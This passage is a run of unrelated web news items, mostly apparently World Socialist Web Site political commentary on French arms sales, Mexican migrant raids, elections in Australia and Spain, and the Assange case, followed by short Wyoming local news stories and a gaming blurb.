clear. On January 20, two months after the Macron government received the classified report, Parly told France Inter that she had no knowledge of whether [French] arms are being used in the conflict, and added that we have not recently sold any arms which could be used in the conflict. In the wake of Discloses revelations, this line has simply been shifted. At the same time, according to AFP, citing an anonymous juridical source, the government had discovered the leak of the report in December last year, and ordered an internal investigation on December 13, while maintaining its lies. Yet on April 18, Parly grotesquely added that all our efforts are oriented to seeking to end this conflict and find a political solution, denouncing what she called a dirty war. The Macron government is responding to an exposure of its own complicity in war crimes by seeking to prosecute those who have made this information available to the French and international working class. Its actions are part of the trampling on democratic rights and turn to authoritarian forms of rule by the capitalist elite in countries across Europe and internationally. This finds its sharpest expression in the persecution of WikiLeaks and its editor Julian Assange and Chelsea Manning, whose sole crime consists in their courageous actions in exposing documentary evidence of US war crimes in Iraq and Afghanistan, and the criminal activities of other capitalist governments. Through a conspiracy of the governments of Australia, Britain, the US and Ecuador, Assange is now in prison, threatened with an illegal extraordinary rendition to the United States, where the torturers and war criminals he exposed are seeking to put him in jail for life, or worse. While Manning remains behind bars in the US for refusing to testify at a grand jury established to bring further frame-up charges against the WikiLeaks publisher. The Macron governments actions confirm the warnings issued by the World Socialist Web Site: the persecution of Assange and Manning is aimed at setting a precedent for the criminalization of journalism and prosecution of those who bring government crimes to light. All of the European powers support the rendition of Assange to the United States, because they are no less terrified of the growing social opposition to their own rule at home in the working class, and are determined to utilize the same police-state methods to repress opposition. The WSWS is utilizing its annual online May Day rally this year to build the opposition to the persecution of Manning and Assange, and connect the fight for their defence to the construction of an international socialist movement of the working class against war, inequality, the growth of the far-right and the capitalist system. Readers who want to fight in defence of democratic rights and oppose imperialist war can register for the rally today. Mexican federal police carried out a mass raid in the southern state of Chiapas on Monday, arresting over 370 immigrants from Central America. The migrants were part of a caravan of asylum seekers composed primarily of women and children who were traveling to the US-Mexico border to escape conditions of poverty and war in their home countries. The mass arrest, the largest in recent years, shows that the Mexican ruling class is subserviently implementing the Trump administrations fascistic attacks on immigrants. Mexican president Andres Manuel Lopez Obrador (AMLO)a supposed leftist capitalist politicianis openly breaking with due process and the international right to asylum by deporting tens of thousands of immigrants, restricting humanitarian visas, and forcing asylum seekers to remain in Mexico while their cases drag out in US courts. Mondays raid outside of the town of Pijijiapan, Chiapas, was designed to inflict as much terror on the migrants as possible. It was only after the group decided to rest in the shade that police and federal agents descended on the tail-end of the caravan, wrenching men, women and children into their vans. They waited until we were resting and fell upon us, grabbing children and women, a 59-year-old farmer from Honduras told the Washington Post. They grabbed us ruthlessly, as if we were animals, said another Salvadoran immigrant. This is a barbarity, we are all human. While fleeing immigration agents, a 27-year-old Honduran youth yelled, Why do you want to arrest me? Showing how Mexicos police have, for all effective purposes, turned into the southern arm of US Border Patrol, videos of the event showed agents yanking wailing children from their mothers arms. These same actions triggered protests across the United States in June of last year. Several immigrant groups have already noted a shift in travel patterns by migrants away from caravans and towards more dangerous routes in recent weeks. This includes the increased use of the freight train known as The Beast (La Bestia), in which countless immigrants have lost limbs or fallen prey to illness, hunger, rape, gangs or human traffickers. Amid international outrage following the raid, Interior Secretary Olga Sanchez Cordero attempted to defend these illegal actions by claiming that migrants had behaved aggressively towards police. AP journalists who were at the scene denied these allegations and reported that only one rock was thrown, and only after the initial attack by police. For his part, Lopez Obrador shamelessly claimed that deporting immigrants back to the wretched conditions in their home countries would somehow guarantee their safety. We do not want migrants to move freely. We have had problems with migrants getting murdered, and we do not want this we will continue to respect their human rights, AMLO said Tuesday. Refugees who are being sent back to unbearable conditions of domestic abuse, gang attacks and corporate exploitation should react with nothing but contempt to AMLOs concern for their safety. The marked crackdown by Mexican authorities is a bow to Trumps authoritarian threats to shut down the US-Mexico border. Trump praised the raid over Twitter on Wednesday, declaring that the caravans had been reduced in size by Mexico but more had to be done to apprehend the remainder or we will be forced to close that section of the Border & call up the Military. Trump also denounced an incident in April where Mexican soldiers inadvertently pointed their guns at US soldiers while patrolling the border. Better not happen again! We are now sending ARMED SOLDIERS to the Border. Mexico is not doing nearly enough in apprehending & returning! Mass raids are being combined with a record level of deportations and a sharp halt of humanitarian visas. Over 11,800 migrants have been deported from Mexico in the first three weeks of April, an increase of over two thirds compared to January. The Mexican government issued about 13,000 humanitarian visas in January, a few thousand in February, and none since, according to a National Immigration Institute (INM) official. Mexican authorities are also forcefully preventing asylum seekers from traveling past the southern states of Mexico, where the isthmus is narrowest and immigrants are trapped without a visa or a safe way to travel. About 5,000 Central American immigrants are being illegally detained in the state of Chiapas. Most, including women and children, are staying in makeshift shelters with improper hygiene and food. The criminal actions of the Mexican government are not the result of a preferred policy, but rather a class response that flows from their role as junior partners of US imperialism. The Mexican ruling class is dependent on US finance capital for its wealth and privilege, including from the 80 percent of Mexican exports bound for the US. The closure of the US-Mexico border or mass strikes like those of the maquiladora workers in Matamoros would jeopardize billions of dollars in profits. Therefore, neither AMLO nor any other capitalist politician can be pressured to act on behalf of the working class because this would go against their own objective interests. All workers must draw conclusions from the criminal actions of the Mexican government and Lopez Obrador. Workers must judge AMLO not by his populist verbiage and leftist pretensions, but by his actions in persecuting impoverished immigrants, slandering striking teachers who defend public education, and maneuvering to end the strikes of the maquiladora workers in Matamoros. The working class across North and Central America is already objectively united by a thousand economic and social strings. Genuine socialists insist that immigrants are not the enemies of workers, but common allies that face the same problems and have the same interests. If corporations and manufactured goods can readily cross borders without visas or restrictions, that too must be the right of the international working class, the class that produces all the wealth in society. All immigrants must be immediately freed and given free passage to the destination of their choice, with full citizenship rights. No faction of the ruling class stands to gain from the defense of democratic rights. The defense of immigrants, the fight for open borders and the expropriation of the wealth of the rich to end poverty and exploitation once and for all falls to the only revolutionary force in society: the international working class. For the May 18 Australian election, a plethora of right-wing populists is seeking to cynically exploit the immense popular hostility toward all the establishment partiesLiberal-National Coalition, Labor and Greensthat have presided over deteriorating working and living conditions for decades. Mike Head in discussion with Ana, a childcare worker, in Oxley In the working class Brisbane electorate of Oxley, where I am standing for the Socialist Equality Party (SEP), three such formations are making a pitch to the workers, unemployed and small business people who have been the victims of the relentless economic restructuring in favour of the tiny financial elite. While feigning sympathy for working people, these outfits are alarmed by the resurgence of working class struggles globally and the growing support for socialism, especially among young people. All of them are peddling nationalist, xenophobic and anti-Chinese poison that pits workers in Australia against their fellow workers in Asia and internationally, and diverts them from the real cause of the social devastationthe capitalist profit system itself. Senator Pauline Hansons One Nation is a vicious exponent of anti-Asian, anti-Muslim and anti-welfare scare-mongering. Fraser Annings Conservative National Party openly demands an end to immigration and a return to the racist White Australia policy. The most cashed up of these formations is the recently-registered United Australia Party (UAP), bankrolled by Clive Palmer, an iron ore and coal billionaire. Estimated by Forbes magazine to be worth $1.8 billion, he is spending up to $80 million to stand candidates in every lower house seat. Palmer is bombarding the population with TV ads, radio spots, YouTube videos, billboards, letterbox drops and unsolicited text messages, proclaiming Put Australia First! Emulating Donald Trumpa similar incarnation of personal and corporate greedPalmers constant twitter feed features demagogic slogans like Drain the swamp! Make Australia Great Again and end the Labor-Liberal duopoly. The UAPs ads feature bogus anti-establishment rhetoric, such as giving a fair go to families torn apart by the banks. They speak of mass youth unemployment, poverty, homelessness, congested cities, abandoned factories and devastated rural communities. But Palmer has no solutions to these immense social problems because he is an out-and-out supporter of the profit system that has created them. The SEP is the only party telling the truth in this election: capitalism cannot be reformed to deliver a fair go. We say to workers and youth: dont be duped again! Palmer made similar promises during both the 2013 and 2016 elections. His Palmer United Party (PUP) once held the balance of power in the Senate, only to back the Liberal-National government in pushing through plans to slash taxes for business and the wealthy. PUP disintegrated acrimoniously and lost all its seats at the 2016 election. Palmers contempt for workers was made absolutely clear at Townvilles nickel smelter. After initially handing out cars and other productivity bonuses when he acquired the plant in 2009, his Queensland Nickel company went into liquidation in 2016, leaving 800 workers owed more that $70 million in wages and entitlements. None of this has been paid still, despite Palmers recent promises to do so. Once again, Palmer, who lives a world apart from working class peoplefull of luxury cars, exclusive resorts and expensive real estateis posturing as their friend. This is a total fraud. His wealth, and that of his fellow billionaires, is gouged out of the workers they exploit and then discard. Despite Palmers claims to present an alternative to the duopoly, he lines up completely with them on both economic and foreign policy. In fact, both the Coalition and Labor have sought preferential vote-swapping deals with the UAP, seeing it as a potential government partner in the Senate. Ultimately, Palmer signed up with the Coalition. The UAPs program entails radical free-market restructuring in the interests of the ruling elite. Behind Palmers talk of boosting our wealth and economy for all our citizens he wants to go even further in cutting taxes for big business and the rich. This includes abolishing the Fringe Benefits Tax and business provisional taxes. Under the guise of helping rural residents, Palmer promises a 20 percent regional tax concession that would overwhelmingly benefit mining companies like his own. These policies would, in fact, intensify the corporate assault on jobs, working conditions, living standards and basic services that has been enforced by the very political establishment he claims to oppose. Even the name of the UAP is revealing. It claims the heritage of the party of the same title that was formed in 1931, at the height of the Great Depression, to bring together Joseph Lyons, a Labor Party leader, and Robert Menzies, a leader of the conservative Nationalist Party, to impose on the working class the terrible mass unemployment and wage cuts demanded by the international banks. Palmer is also fully committed to the US ruling classs drive toward a confrontation with China, which places Australias population on the front line of a potential nuclear war. UAP social media promotes a threat issued by the Trump administrations recently-arrived US ambassador to Australia, Arthur Culvahouse, accusing China of being inappropriately aggressive and warning that he would pressure test the US-Australia alliance to see if it had any weaknesses. This is combined with virulent anti-Chinese propaganda. UAP videos depict a Chinese grab for control over key Australian assets. Both parties selling off ports, electricity and other infrastructure, they declare. Stop the sale! Give them a thong slap. The racism of the message is barely disguised. Reactionary formations such as Palmers can posture as defenders of working people only as a result of the betrayals carried out by the Labor Party and the trade unions, which have enforced declining working and living conditions since the Hawke-Keating federal Labor governments of the 1980s and 1990s. The SEP calls on youth and workers looking for a progressive way forward: Support and join our party. Take up the fight for a genuine socialist alternativeto unify the working class globally to overturn the financial and corporate oligarchy, establish a workers government and totally reorganise economic life on the basis of human need, not the insatiable profit appetites of the super-rich. Authorised by James Cogan for the Socialist Equality Party, Suite 906, 185 Elizabeth Street, Sydney, NSW, 2000. In the days of the Cold War, the narrative of the arch-reactionaries and anticommunists revolved around a conspiracy theory according to which the United States had been infiltrated at the highest levels by agents of the Soviet Union. In the early 1950s, Wisconsin Senator Joseph McCarthy led the anti-Soviet campaign, alleging that Russian spies occupied top positions in the government, in universities, in Hollywood and even in the military. According to McCarthy, a conspiracy so immense and an infamy so black as to dwarf any previous venture in the history of man implicated not only the Soviet Union but was also responsible for the loss of China in the 1949 Chinese Revolution. The Red Menace was the pretext for attacking and delegitimizing all manifestations of social and political opposition, including the Civil Rights movement, as the work of outside agitators who received their orders from Moscow. It was Martin Dies, the Democratic congressman from Texas and initiator of the witch-hunting House Un-American Activities Committee, who declared in his 1940 book The Trojan Horse in America that Moscow had envisioned an unusual opportunity to create racial hatred between the white and Negro citizens of the United States. In the late 1950s, after the heyday of McCarthy, the political thread was taken up by the John Birch Society, founded in 1958 by Massachusetts businessman Robert Welch, who notoriously declared that President Dwight D. Eisenhower was a dedicated, conscious agent of the Communist conspiracy. In 1964, Welch backed the ultra-right Republican candidate Barry Goldwater, whose failed presidential campaign was heavily influenced by John Stormers book None Dare Call It Treason. Will America continue to aid the communist enemy, Stormer asked, to disarm in the face of danger, to bow before communist dictators in every corner of the earth? The decision is yours. Nothing is dead in politics. The legacy of McCarthyism is now being revived by the campaign led by the Democratic Party and summed up in a hysterical screed published Wednesday in the Washington Post by Hillary Clinton, the self-professed former Goldwater girl, under the headline, Mueller documented a serious crime against all Americans. Heres how to respond. According to Clinton, Our election was corrupted, our democracy assaulted, our sovereignty and security violated. This is the definitive conclusion of special counsel Robert S. Mueller IIIs report. The perpetrator again is Russia, which Clinton, citing the Mueller report, claims has carried out a sweeping and systematic attack on the United States. The Clinton narrative, which is the official line of the Democratic Party, is a monumental lie. Responsibility for Clintons defeat in the 2016 elections is attributed entirely to the operations of Russian bots and Guccifer 2.0, the persona of the individual who supposedly hacked Democratic Party emails. Her campaign, Clinton writes, was the target of a Russian plot, directed by President Vladimir Putin, who seeks to weaken our country. And what did this new conspiracy so immense actually involve? According to the Mueller report itself, organizations associated with Russia allegedly spent $100,000 on Facebook ads. This is 0.12 percent of the $81 million spent by the Democratic and Republican election campaigns themselves on Facebook ads, in a campaign dominated by the $5 billion spent by the billionaire backers of the two parties to buy the election. As for the release of Democratic Party emails, even if one accepts the unsubstantiated claim that it was Russian operatives who turned them over to WikiLeaks, what the emails revealed were true facts about the operations of Clinton and the Democratic National Committee (DNC)facts that the electorate had every right to know. Among the documents released were Clintons speeches to Goldman Sachs and other banks, for which she was paid hundreds of thousands of dollars. Other leaked emails exposed the corrupt efforts of the DNC to rig the primaries against Bernie Sanders. Clinton lost in the 2016 elections because the Democratic Party, in line with the class interests it represents, made a calculated decision not to raise any social issues or make any appeal to the working class in its campaign against Trump. Do Clinton and company really expect the public to believe that Facebook ads put out by Russian agents were behind the collapse in voter turnout in working-class areas of Michigan, Wisconsin and other states? The victory of the billionaire demagogue Trump was the result of widespread disillusionment with the Democratic Party after eight years of the Obama administration, which broke every campaign promise and exposed as lies the empty prattle about hope and change. Obama focused his energies on bailing out Wall Street and shoring up the wealth of the corporate and financial elite. In her column, Clinton goes on to call for an alliance between the Democratic Party and the Republicans. The situation calls for clear-eyed patriotism, not reflexive partisanship, she writes. She urges Republicans to work with Democrats in an intensified campaign against Russiawith or without the Trump administration. She writes: Its up to members of both parties to see where that road map [provided by the Mueller report] leadsto the eventual filing of articles of impeachment, or not. Either way, the nations interests will be best served by putting party and political considerations aside and being deliberate, fair and fearless. Clinton wants a bipartisan foreign policy that is fearless in its aggression against not only Russia, but also China. Unless checked, the Russians will interfere again in 2020, and possibly other adversaries, such as China or North Korea, will as well, she warns. Unless Trump is held accountable, the president will likely redouble his efforts to advance Putins agenda, including rolling back sanctions, weakening NATO and undermining the European Union. Changing what needs to be changed, such words could have been penned by Robert Welch himself. Confronting a fascistic president, the Democrats have managed to frame their entire opposition around a right-wing narrative. If the Democrats had their way and Trump were removedto be replaced, dont forget, by the ultra-right Vice President Mike Penceit is almost certain that the immediate consequence would be war with nuclear-armed Russia. Inextricably connected to the conflicts over foreign policy is the escalation of the attack on democratic rights within the United States. Reprising the ravings of Dies, social discontent is attributed to the nefarious efforts of Russia to sow discord within the United States. Significantly, Clinton cites as a model the actions of the ruling class after the September 11, 2001 attacks, when Congress established an independent, bipartisan commission to recommend steps that would help guard against future attacks. She concludes, We need a similar commission to help protect our elections. The September 11 attacksa terrorist atrocity that killed nearly 3,000 peoplewere followed by the Patriot Act, the Homeland Security Department, the Northern Command, domestic spying, Guantanamo Bay, the institution of torture and drone assassinations as government policy, and other crimes. The campaign of the Democrats over the Russian attacka lie fashioned from whole clothhas been accompanied by far-reaching moves to censor the internet under the guise of combating fake news. The Democrats warmongering and attack on democratic rights come together in the persecution of WikiLeaks and its founder Julian Assange, whose enduring contribution to the population of the world was the exposure of the crimes of American imperialism. For this, Assange is currently imprisoned in Britain, facing imminent rendition to the United States. The courageous whistleblower Chelsea Manning is in jail for refusing to testify against him. Such is Clintons defense of our democracy. All of this further demonstrates that in the conflict between Trump and the Democratic Party there is no progressive or democratic faction. The anti-Russia narrative has not been challenged by any section of the Democratic Party, including Bernie Sanders, who is again seeking to cover up this warmongering party with a thin veneer of social reforms that it has no intention of implementing. The conflict between the Democrats and the Trump administration is a conflict between two reactionary factions of the ruling class. All those political organizations and groups that are seeking to direct social opposition behind the Democratic Party are playing the most criminal role. They are no less terrified than Trump and the Democrats of the development of a genuine socialist movement of the working class, which will oppose American capitalism and its wars. NDO/VNA Vietnams Foreign Ministry has coordinated with relevant agencies, the Vietnam Bar Federation, and the Embassy of Vietnam in Malaysia to implement all necessary citizen protection procedures for Doan Thi Huong to return home right after she is released. The Socialist Equality Party (SEP) and the International Youth and Students for Social Equality (IYSSE) in Sri Lanka will hold a public meeting at New Town Hall in Colombo on May 1 at 3 p.m. to mark the international workers day. The SEP meeting is being organised in defiance of suggestions that the Sirisena-Wickremesinghe government will attempt to use last Sundays terrorist bombings as a pretext for banning May Day events. If the government bans May Day, the SEP and the IYSSE will fight to mobilise workers to defend their right to celebrate this long-held tradition of the working class. The central theme of the SEP/IYSSE event will be the rising wave of international class struggles and the fight for socialism. We urge workers, youth and intellectuals to attend the Colombo May Day rally and also register and participate in the International Committee of the Fourth Internationals Online May Day Rally on May 4. Exploiting the terrorist attacks, the government has imposed draconian emergency regulations, censored social media and given the military and police sweeping powers to arrest and detain people. The purpose of these anti-democratic measures is not to stop terrorist attacks but to crack down on the growing struggles of the working class and oppressed masses against the governments austerity measures. The global financial crisis of 2008 was a systemic breakdown of capitalist profit system. In every country, the ruling elites responded by unleashing brutal austerity measures aimed at placing the burden of the crisis onto working people. Workers are rising up around the world in an ever-widening wave of strikes and protests in an attempt to defeat the unrelenting attacks on their living standards and basic social and democratic rights. The past six months has seen strikes by more than 70,000 workers in Matamoros, Mexico, thousands of teachers in the United States, and more recently 300,000 teachers in Poland, as well as millions of workers in India, over 100,000 plantation workers in Sri Lanka and the yellow vest protests in France. The ruling class has responded to the international upsurge with repression and rapid moves towards dictatorial forms of rule. This agenda is being advanced in Sri Lanka with the bogus pretexts of fighting terrorism and conducting a war on drugs. The imperialist powers, led by the US, are spending billions on the military while attacking free speech and censoring socialist, left-wing and anti-war publications, in preparation to drag mankind into a catastrophic third world war. This is what lies behind the persecution and illegal imprisonment of WikiLeaks publisher and journalist Julian Assange and whistleblower Chelsea Manning, who courageously exposed US war crimes. The urgent task confronting the working class, whether in the advanced or less developed capitalist countries, is the development of a unified world movement to overthrow capitalism and establish workers government to implement socialism and put an end to imperialist war, social inequality and dictatorship. We call upon workers, young people and WSWS readers to attend the Colombo May Day meeting that will discuss this revolutionary perspective. Date and time: Wednesday, May 1, 3 p.m. Venue: New Town Hall, Green Path, Colombo On the eve of the general, regional and local elections in Spain this Sunday, the Socialist Party (PSOE) has emerged as a favoured victor for significant sections of big business and global financial concerns. Current polls suggest the PSOE will finish first and increase its seats in Congress, but will fall well short of a majority. It is expected to win about 29 percent of the vote (around 128 seats out of 350), followed by the right-wing Popular Party (PP) with 20 percent (83 seats), Citizens with 15 percent (53 seats) and pseudo-left Unidas Podemos with 13 percent (34 seats). The far-right Vox, which has never won a seat in Congress, could take 11 percent of the vote (22 seats). The outcome of the election is extremely uncertain, with polls showing that up to four in ten voters have yet to decide, and up to half will not vote at all. Several coalition arrangements are possible, including a renewed PSOE government, either in coalition or backed by Podemos and Catalan and Basque nationalist parties, a right-wing PP-Citizens government backed by Vox or even a PSOE-Citizens government. Negotiations to form a government could drag on for months and might break down, leading to a new election. Some European Union sources are warning about the negative consequences of prolonged political instability in Spain. Brussels is hoping for a government with a stable parliamentary majority that will be able to push the budget through and put an end to all the wavering that has been the rule since 2015, a high-ranking EU official told El Pais. In an editorial, More political paralysis will not serve Spain well, Britains Economist, known for its neo-liberal and pro-EU stance, calls for Spanish voters to give the Socialists a governing majority. It urges, To sustain growth, it needs plenty more reform: to its schools system, its pensions, its complicated political structure and the labour market, building on [former PP Prime Minister] Mr Rajoys useful work. A PSOE government is seen therefore as the best mechanism to deepen the savage austerity policies unleashed by its PSOE and PP predecessors since the outbreak of the world economic crisis in 2008. These policies have had devastating consequences for workers and youth. Unemployment is at 20 percent and 50 percent among young people. For those employed, 30 percent are in temporary jobs, of which half are in contracts with periods of less than six months. According to Oxfam, poverty has multiplied by four since 2008. Its annual report of world poverty notes that in Spain last year there were an additional 16,500 households that did not receive any type of income, bringing the total to 617,000 people. At the same time, the ultra-richpeople whose net assets exceed 40 millionincreased by 4 percent, reaching the record figure of 1,690 individuals. The report also highlights the difference in life expectancy between those living in richer and poorer neighbourhoodsin the capital Madrid it is 7 years and in Barcelona, the capital of the richest region Catalonia, it is 11 years. A report by JP Morgan, the largest bank in the United States, spoke in similar terms to the Economist, saying that for us, a coalition led by the PSOE will continue to advance towards some sort of fiscal consolidation. It declared, A government led by the PSOE will be aware of market pressures and will not be willing to jeopardize the favorable market climate towards Spanish government bonds, thus maintaining a reasonable level of budgetary discipline. JP Morgan is also very astute in its assessment of Podemos, which claims that a coalition or support for the PSOE is a means to pressure it to the left and make it responsive to the interests of workers and youth. In contrast, JP Morgan concludes regarding any such coalition, We maintain our opinion that there would be no significant systemic risk because the PSOE remains firmly in favor of the European Union and the populist component of Unidos Podemos would be contained. It would take very little to contain Podemos, given its actual agreement with the PSOEs central goal of upholding the interests of Spanish imperialism while using left verbiage only in order to head off any political challenge by the working class. The true measure of Podemos has also been taken by US multinational investment bank and financial services company, Goldman Sachs. It says there could be three possible coalition governments after a period of negotiations, one of which could include Podemos, before adding that all of them are committed to the European project, with solid public finances and a competitive market economy. The PSOE and its ally Podemos have done everything possible to secure this positive appraisal from international finance capital. Within two weeks of his installation as Prime Minister last June, Pedro Sanchez announced he would implement the budget passed by the outgoing PP administration continuing austerity while showering the Spanish military with a 10.5 percent increase. Sanchez also announced he would not reverse the three labour reforms passed since 2010 that have helped decimate the conditions of the working class and would maintain the PPs law on public security, dubbed the gag law, that restricts freedom of speech, prohibits mass gatherings and imposes fines for protesting and making comments on social media. For ten months, the PSOE pursued an agenda indistinguishable from that of the PP. It continued the prosecution of the Catalan nationalists under fraudulent violent rebellion charges and lobbied in Brussels for the EU to fund Moroccan authorities to terrorise migrants in illegal raids to prevent them crossing over to Spain. The PSOEs policies confirm that the entire ruling class is shifting further to the right and closing ranks, with the aim of suppressing all forms of democratic opposition and intensifying its political conspiracy against the population. During the electoral campaign, the PSOE has presented itself as the best guarantor of bourgeois rule, while trying to outflank the right-wing parties on law-and-order policies to suppress the Catalan nationalists. The Catalan issue has dominated the whole debate, even though according to the latest survey from Spains Centre for Sociological Research people identify the countrys biggest problems as unemployment (61.8 percent), corruption and fraud (33.3 percent), and Spains politics, politicians and parties (29.1 percent). Catalan independence was the concern of just 11 percent. Last Tuesday night, Sanchez opened a party leaders TV debate by saying he wanted to make clear he had never made any political agreements with Catalan separatists. Accused by Pablo Casado of the PP of being the favourite candidate of the enemies of Spain and Albert Rivera (Citizens) of wanting to liquidate Spain, Sanchez insisted there is not going to be either independence or a referendum in the region. Meanwhile, Podemos leader Pablo Iglesias leapt to the defence of the Constitution, calling for its articles relating to social issues (full employment, decent housing), which have remained unimplemented for 40 years to be honoured. Iglesias repeatedly asked Sanchez whom he might consider for a governing coalition if the PSOE does not get enough votes to win a majority. He hoped Sanchez would not consider Citizens because that would be a right-wing government. Iglesias pleaded for Sanchez to recognise that it has become clear that for the PSOE to fulfil some things, Podemos is necessary. The following day, Iglesias moderate temper and tone was praised by professors, journalists and writers in the main bourgeois newspapers, even the right-wing press that is traditionally very hostile to him. Teams from the Sozialistische Gleichheitspartei (Socialist Equality Party, SGP) recently campaigned among workers and youths in Stuttgart, inviting them to its April 27 election meeting and distributing WSWS articles calling for freedom for WikiLeaks founder Julian Assange. Most of the passersby who stopped expressed their support for Assange and his liberation following his April 11 arrest by British police at the Ecuadorian embassy in London. As could be seen in Stuttgart, very few believe the official lies that the bourgeois media propagates about Assange. As the WSWS article Freedom for Julian Assange! states, In the working class there is overwhelming sympathy for Assange. A dividing line has opened up in social, economic and political life. The ruling elites are shedding their democratic pretences. The bourgeois media and the pseudo-left organisations defend the state and the dictatorship of the financial oligarchy, so it is the working class, the broad mass of the population, that must be mobilised to defend Julian Assange, Chelsea Manning and all class war prisoners. The demand for their freedom must be a rallying cry for the global working class. The discussions in Stuttgart showed that this assessment is completely correct. Many recalled that some years ago the media had treated the WikiLeaks revelations somewhat more favourably, reporting the US war crimes and secret diplomatic documents published by WikiLeaks. Today, however, after Assange has been arrested and threatened with a possible death sentence if extradited to the US, not a single bourgeois newspaper openly advocates his defence. Others noted that his case shines a spotlight on the freedom of the press. Not just investigative journalists, but any reporter who raises critical questions could be persecuted and suppressed using the arguments now employed against Assange. In the Stuttgart city centre, Leo said, Im glad youre organising this campaign. Assange is a tragic figure. Everyone must support him now and work for him to be free again. Assange has challenged the most powerful countries in the world by exposing their war crimes and criminal activities against the people. He had the strength to take on the CIA and other powerful intelligence agencies. Leo said he did not know any other left-wing party that was conducting such a campaign. He asked what differentiated the SGP politically from the other parties. SGP campaigners explained that the party advocates for a socialist programme based in the working class to overthrow the capitalist world order; the SGP is part of a world movement, the International Committee of the Fourth International (ICFI). He inquired about other sections of the ICFI in Europe. When he learned that the SGP is conducting its European election campaign together with the British and French sections to mobilise workers across Europe against militarism, the rise of the right and social inequality, he promised to attend the election meeting in Stuttgart. Florian said that he had signed the election petition for the SGP in February and was pleased it was now on the ballot and was taking part in the European elections. The SGP has had to collect over 4,000 voter signatures for its participation to be accepted by the Federal Returning Officer. Having followed the WSWS coverage of Assange, Florian agreed that only the working class could effectively defend Assange. He said he could not find any statements from other parties comparable to those of the Fourth International. He said he was very worried about the rise of far-right parties across Europe. He also wanted to come to the election meeting to continue the discussion. Marion said she supported the SGP campaign, adding that Assanges arrest was a massive attack on basic democratic rights. She was very worried about the data collection monopoly of Google, Facebook and Co. She saw this as a great danger to ordinary people and as a threat to democracy. The Internet is part of our lives, she said, and it was terrible that Google did not try to resolve users issues, but rather, sought to control the Internet and expand its influence globally. Marion mentioned the European Union (EU) law on copyright reform, which involves the use of so-called upload filters and which will further increase Internet censorship. I expect they will use this reform to expand the monitoring of the Internet, she said. In conversation Jonas explained that he worried above all about how much the neo-Nazis were already determining politics in Germany: This is dangerous. If the AfD [Alternative for Germany] and other right-wing groups take over, it will definitely lead to war. The re-arming of the Bundeswehr (Armed Forces) by the grand coalition of the Christian Democrats and Social Democrats reminded him of the Nazis in the thirties. Something must be done about that, Jonas said. This is the first time I have received an election manifesto entitled, Against Nationalism and War! For socialism! I like that. Ill read that. An effective defence of Julian Assange could not be expected from the major political parties, Jonas continued. They do not care about the refugees, when they are attacked by Nazis or the police. He said he supported the SGP campaign to free Assange. In this day and age, its hard to uncover the truth, Jonas concluded. I admire what you are doing. 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United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe WORLAND The case of the State of Wyoming against Jason Arnold Miller for four counts of first degree sexual abuse of a minor ended in a mistrial Wednesday morning after 43 minutes of testimony. Wednesday morning, Washakie County Deputy Attorney Anthony Barton called the victims mother to the stand to testify. After about 43 minutes of testimony, Washakie County Public Defender Richard Hopkinson requested a sidebar in the judges chambers. After 28 minutes, counsel and the judge returned to the courtroom where District Court Judge Bobbie D. Overfield called a 15-minute recess that actually lasted 47 minutes, upon which another sidebar was called. When Overfield and counsel return, Overfield stated that a mistrial had been requested and granted by the court for evidence being admitted that wasnt allowed during the victims mothers testimony. No further information was provided at that time. Northern Wyoming News will have a follow-up article in the May 2, issue with further details. GREEN RIVER An updated analysis conducted by Rocky Mountain Power suggests it would lower costs for customers if it sped up the retirement of four power-generating units in Southwest Wyoming, including two units at the Jim Bridger Power Plant. GREEN RIVER An updated analysis conducted by Rocky Mountain Power suggests it would lower costs for customers if it sped up the retirement of four power-generating units in Southwest Wyoming, including two units at the Jim Bridger Power Plant. The other two units are at the Naughton Plant in Lincoln County. However, while the companys Integrated Resource Plan recommends early closure for the four units, RMP doesnt have a plan in place. We dont know the plan of what were going to do, RMP President and CEO Gary Hoogeveen told a group of officials representing Rock Springs, Sweetwater County and the state Wednesday. The company will produce a plan to handle the possible closures Aug. 1. The IRP looked at RMPs 22 coal-fired plants to determine if savings could be found if units could be closed as early as 2022. It also analyzed the difference between specific coal units and newer resources and energy conservation. The plan is updated every two years, studying the best resource mix to provide customers with reliable access to electricity for a 20-year period. According to Hoogeveen, customers would save approximately $248 million if the company sped up retirement plans for the four units. RMP plans to study other factors related to the retirements, including how employees and the communities would be impacted. Hoogeveen said the retirements would likely be staggered, with the first occurring in 2022, but said other unit closures could take place between 2022 and 2028 potentially. According to Senior Vice-President of Thermal Generation and Mining, Dana Ralston, the company is not sure how many employees the closures would impact. If the unit retirements were staggered out, he believes RMP could avoid layoffs by adjusting staffing levels at Jim Bridger and eliminating positions through attrition. He admits that goal would be much more difficult if the units were retired at the same time. However, with only two units planned for operation into the 2030s, Ralson also said it would be difficult to maintain both the mine at Bridger and Black Butte. The Jim Bridger surface mine is tenatively scheduled to close operations in 2028. For the Jim Bridger Power Plant, the plant is expected to reach the end of its lifespan in 2037, while the Noughton Plants lifespan anticipated to end in 2027. While many would blame politics as the reason RMP is looking to retire the units early, Hoogeveen said the decision comes purely at an economic level. He said the public service commissions RMP answers to mandates the company provide electricity at the lowest cost, while being reliable to customers. More focus in wind and solar generation, including RMPs investment in wind turbines, have made renewable sources of power cheaper to produce. Hoogeveen also claimed the savings the company receives through renewable energy tax credits or through cutting units in Wyoming dont go to RMPs shareholders or its parent company, Berkshire Hathaway. The cost of retrofitting coal plants with the latest emissions technology have made coal power generation more expensive. The two units reviewed in the IRP are the older units at Jim Bridger. The cost to retrofit the units with current emissions technology would not be economical, according to company officials. The cost to convert the units to using natural gas would also be costly, especially as infrastructure tying the plant to natural gas lines would be needed. However, with units three and four at Jim Bridger being what Hoogeveen described as the most technologically advanced in the nation in regards to emissions controls, he said he sees a long life for the Jim Bridger Power Plant. The company plans to host monthly meetings updating residents on their progress until Aug. 1, when it releases its unit retirement plan. Rick Link, Pacificorp vice-president of resource planning and aquisitions said residents can submit public comments on its IRP through the RMP website. While he admits this isn't the greatest news for the community, Hoogeveen said the recommendation does not mean everything is finalized in regards to the four units. "Were going to continue to talk about it, Hoogeveen said, This is not done. Mortal Kombat 11 is this week's biggest new release, but there are still plenty of other new things to check out on the Xbox Store. Like, for instance, the first Deponia game, which was previously made available in a complete four-game collection of the classic point-and-click adventures for Xbox One earlier this month. Sea of Thieves also celebrates its one-year birthday with a new content-laden Anniversary Edition, while Conan 